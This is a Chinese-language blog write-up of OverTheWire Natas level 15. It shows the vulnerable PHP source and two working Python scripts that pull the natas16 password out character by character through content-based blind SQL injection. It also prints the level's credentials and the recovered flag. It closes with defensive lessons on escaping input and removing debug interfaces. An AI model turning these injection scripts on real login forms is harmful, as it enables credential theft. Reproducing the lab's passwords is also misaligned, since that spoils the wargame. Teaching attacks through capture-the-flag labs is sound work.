• Natas Wargame Level 15 Writeup(Content-based Blind SQL Injection)


    sourcecode核心代码:

     1 <?
     2 
     3 /*
     4 CREATE TABLE `users` (
     5   `username` varchar(64) DEFAULT NULL,
     6   `password` varchar(64) DEFAULT NULL
     7 );
     8 */
     9 
    10 if(array_key_exists("username", $_REQUEST)) {
    11     $link = mysql_connect('localhost', 'natas15', '<censored>');
    12     mysql_select_db('natas15', $link);
    13     
    14     $query = "SELECT * from users where username="".$_REQUEST["username"].""";
    15     if(array_key_exists("debug", $_GET)) {
    16         echo "Executing query: $query<br>";
    17     }
    18 
    19     $res = mysql_query($query, $link);
    20     if($res) {
    21     if(mysql_num_rows($res) > 0) {
    22         echo "This user exists.<br>";
    23     } else {
    24         echo "This user doesn't exist.<br>";
    25     }
    26     } else {
    27         echo "Error in query.<br>";
    28     }
    29 
    30     mysql_close($link);
    31 } else {
    32 ?>
    33 
    34 <form action="index.php" method="POST">
    35 Username: <input name="username"><br>
    36 <input type="submit" value="Check existence" />
    37 </form>
    38 <? } ?> 

    sql语句为:SELECT * from users where username="username";
    可以注入,但注入成功后并不能实现什么功能。如果查询“成功”,仅仅会显示This user exists.查询失败:This user doesn't exist.或者“Error in query.”。不能直接显示Natas16的密钥。

    联想到表中可能有名为Natas16的username,经测试为真。所以现在的任务就是获得表中Natas16的password。

    如何才能将输出联系到password?这里仅有的输出只是用户名是否存在,更向上一步的说,是是否能够查询到记录。

    既然select Natas16 是肯定成立的,又因为已知密钥的长度和空间(大小写字母和数字),可以通过and + like逐一探测每一位的密钥。

    以下是python脚本:

     1 import httplib2
     2 from urllib.parse import urlencode
     3 
     4 h = httplib2.Http()
     5 natas15password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
     6 h.add_credentials('natas15', natas15password)
     7 basestr = list(chr(i) for i in range(48, 58))+list(chr(i) for i in range(65, 91))+list(chr(i) for i in range(97, 123))
     8 password = ''
     9 index = 0
    10 headers = {'Content-type': 'application/x-www-form-urlencoded'}
    11 while (len(password) < len(natas15password)):
    12     forms = dict(username= "natas16"" + " and password like binary '" + password + basestr[index] + "%'" + " ;#")
    13     print(forms)
    14     resp, content = h.request('http://natas15.natas.labs.overthewire.org/index.php', 'POST', urlencode(forms), headers)
    15     if ('exists' in str(content)):
    16         password += basestr[index]
    17         print(password)
    18         index = 0
    19         continue
    20     else:
    21         index = (index + 1) % (123-48)
    22         if index == 0:
    23             print('wrong!')
    24         continue
    25 print('password = ', password)

    关于httplib2的说明:http://blog.csdn.net/five3/article/details/7079140

    这里要注意几点:

    1.urlencode已经不在urllib下了,需要使用urllib.parse.urlencode

    2.mysql 查询默认对大小写不敏感,所以如果直接查寻会导致输出全部为大写或者小写。有两个解决方案。一个是使用BINARY将后面要查询的字符串转化为二进制。另 一个是使用COLLATE对指定排序。https://dev.mysql.com/doc/refman/5.7/en/binary- varbinary.html

    3.POST也是先将数据进行URL编码然后发送,所以这里要用到URLencode。URL表参考:http://w3school.com.cn/tags/html_ref_urlencode.html

    4.发送表单的话一定要把headers中的'Content-type': 'application/x-www-form-urlencoded'加上,因为服务器是通过这个判别body中的类型并进行读取的。(以后发现服务器没有读取body要先看看headers设置好没有)

    另外还有一个思路,就是通过题目中留下的debug用GET进行注入与爆破:

     1 import httplib2
     2 from urllib.parse import urlencode
     3 
     4 h = httplib2.Http()
     5 natas15password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
     6 h.add_credentials('natas15', natas15password)
     7 basestr = list(chr(i) for i in range(48, 58))+list(chr(i) for i in range(65, 91))+list(chr(i) for i in range(97, 123))
     8 password = ''
     9 index = 0
    10 while (len(password) < len(natas15password)):
    11     forms = dict(username="natas16"" + " and password like binary '" + password + basestr[index] + "%'" + ";#")
    12     resp, content = h.request('http://natas15.natas.labs.overthewire.org/index.php?debug=1&'+urlencode(forms), 'GET')
    13     if ('exists' in str(content)):
    14         password += basestr[index]
    15         print(password)
    16         index = 0
    17         continue
    18     else:
    19         index = (index + 1) % (123-48)
    20         if index == 0:
    21             print('wrong!')
    22         continue
    23 print('password = ', password)

    这个时候就不需要设置Content-type了

    总结:这个注入和往常的注入不同,往常的注入是通过插入 or 1等唯真式绕过认证。但这里并不是要绕过认证,而是通过注入将password与返回“用户是否存在”这一看起来没有泄露的信息绑定,最终暴力破解出用户密钥。由此可知,对用户返回的信息应当最低化(如返回用户或密码错误),对用户的输入应该做处理(如转义)。debug的时候留下的接口应该及时删除。

    flag=WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

  • 相关阅读:
    批量关闭远程计算机
    Tomcat6+IIS6集成及Tomcat负载均衡与Tomcat集群配置
    负载均衡服务器session共享的解决方案
    实现PostgreSQL数据库服务器的负载均衡
    OPENQUERY (TransactSQL)
    Webarok: 用 Web 浏览器控制 Amarok2
    Nginx+tomcat负载均衡session问题解决
    CorelDRAW 编写和运行宏指令
    FB/IB多代事务结构详解对FB事务最好的讲解
    VS2005[C#] 操作 Excel 全攻略
  • 原文地址:https://www.cnblogs.com/liqiuhao/p/6853612.html
Copyright © 2020-2023  润新知